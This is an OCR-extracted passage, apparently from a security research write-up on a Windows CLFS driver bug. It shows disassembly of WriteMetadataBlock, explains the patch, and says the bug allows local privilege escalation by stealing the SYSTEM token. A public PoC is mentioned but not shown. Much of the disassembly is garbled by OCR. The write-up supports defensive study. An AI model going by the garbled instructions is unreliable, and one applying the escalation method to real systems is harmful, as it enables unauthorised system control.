BBEEBBRAT1CAB2EBIE jns Bx1CBB2EBGA
| |
| \
| \\
|
| \
| A\
| \
I \
\
A \

00000001CO02DEB@  CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)
000BBEB1COB2ED20 lea rax, cs:[WPP_GLOBAL_Control] // WPP_GLOBAL_Control
BBABEAB1CER2ER2T mov rcx, cs:[WPP_GLOBAL_Control] // WPP_GLOBAL_Control
B00EBBBT1CEB2EBZE cmp rcx, rax

600B06B1CAB2EA3T jz Bx1CAB2EBCD

|
|
Y

rnn AAT LaBa ealPdT aflccaladad: Wl b aMabada st aBTaal fadTaa e cakash ]

Only if CifsDecodeBlock is not negative, it goes to WriteSector but leaves returning the negative value
0xCO1A000A.
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primary

00000001C002DEBO CClfsBaseFilePersist

00000001CO02DEBA  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar)
BBBEBBR1CAB2ERIC test b4 eax, b4 eax
0e8PPER1CABZERTIE  jns Bx1CBO2EBGA
I I
I \
1 \
I
1 \
1 \
1 \
1 \
¥

00000001C002DEBD
000BBBB1CEEZERZE  lea
60BBBBB1CEBZERZT  mov
00000881CAB2ERZE  cmp

rex, rax
00000881CA82ER3T  jz Bx1Ce8z2eEacD

CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)
rax, cs:[WPP_GLOBAL Control]
rex, cs:[WPP_GLOBAL Control] // WPP_GLOBAL Contr

// WPP_GLOBAL _Control

/
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I
I
|
I
|
I
I
I
I
I
I
I
I
I

! \
I I
\ \
I I
\ \
I I
I | |
\ [

Y | I I
68ABBBA1CAB2DEBA  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar) I I |
0PABPEB1CAB2EB3T  mowv b4 eax, b4 ds:[rex+8x2C) | I |
0PEBPRA1CAE2EB3A bt b4 eax, bl @xiB | I ]
BPEBPRE1CRE2EB3E  jnb 8x1C8B2EBCD I I |

=7 . [ } !
- ~
7 T~ : }
~ I
¥ =N | I |
iteMetadataBlock(ulong,uchar) | : I ]
B | I
_68], b4 @x26B8 |l I
15378] // aCclfsbasefilep_3 |l I
fBB63fbec1344beB2cead@68827 738 _Traceguids] // WPP_83T8863fhec1344bed2cead868827 38 _Traceguids (! I I
x18] [ [
I
|: I I
| H I I
T / I ]
7 —== |
- === I
- ———====" I ]
-7 ——zZZET |
—_ = I
- - I
ey I |
T IleTT \
o7 \
- I ‘
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, \ \
\ } [ S—
| I
uchar
) I} I
\ I
A I —
// \ ]
Vel \ ‘ ~
’ \ bt~
7/ \ |
\ I
\ |
\ I
\ |
\ I
4 \ I

v \

Y | I
00000001COB2DEBE  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar) I } ]
00080BA1CAA2ER6A  movzx b4 r12d, b1 ri13b I ‘ [

[
908B0PA1CEE2ERGE  mov b1 ss:[rsp+var_57], b1 r13b : } ]
[
| I e
| I a
| I [
| I [
I I 4
| I
/’ 7 ‘
—— I
—— I
e —_— ]
- ——
- I
- . I
_—— - I
— < I
— s
- ’ |
- - I
—_ -
- s |
s ¥ Y
taBlock(ulong,uchar) | 00000001CBB2DEBD  CClfsBaseFilePersisted: :WriteMetadataBlock(ulong,uchar)
| BBBAREA1CAB2EATI  mov rex, ds:[rdi+@x98]
| 0PEBeRET1CEB2ERTA  movzx b4 eax, b2 ds:[r14+4]
| 00068ea1CeA2EBTF  mov rdx, ss:[rsp+var_30]
I | 0006BEA1CEA2ER84  lea rdx, ds:[rdx+rdx*2]
I | 0006B0A1CEA2ERB8  mov r9, ds:[rdi+ex3a]
I | 000BBEA1CEA2EREC  lea ss:[rsp+var_48]
I | BB888EA1CAB2ERT T mov :[rspivar_68], r8
I | BBBAREA1CAB2EAY6  mov b4 ss:[rsp+var_68], b4 eax
I | 0BBREEA1CAB2ERYA  mov r9, ds:[r9+rdx*8]
I BBBBBBB1CABZEBYE xor b4 r8d, b4 r8d :
| | 00PEERATCABZERAT  mov rdx, ds:[rdi+@xA8] :
I I 00000P81CABZERAE  call ?WriteSector@ClfsContainer@@QEAAJPEAU_KEVENT@EPEAU_CLFS_IO_WORKITEM@@PEAXKQEA Ki -
| | 0BEBBEE1CBB2EBAD  mov b4 r15d, b4 eax :
I | 0PEBePE1CEB2EBBD  mov b4 ss:[rsp+var_54], b4 eax
I | BBPBBPE1CAB2EBB4  test b4 eax, b4 eax
I | 00PBERE1CEA2ERBE  js 8x1C882E0CD 3
I L ,,,,,,,,,,,,,,,,,, p) T 3 ..
! I | Thisis the



actual patch that really prevents the exploitation using the PoC that | just attached.

At this point we have explained how the bug was exploited, it leads to controlling the functions that
allows us to read the SYSTEM token and write it in our own process to achieve the local privilege
escalation. You can find the functional PoC at Fortra’s GitHub.

We hope you find it useful, if you have any doubt can contact us:

Ricardo.narvaja@fortra.com

@ricnar456

Esteban.kazimirow@fortra.com

@solidclt
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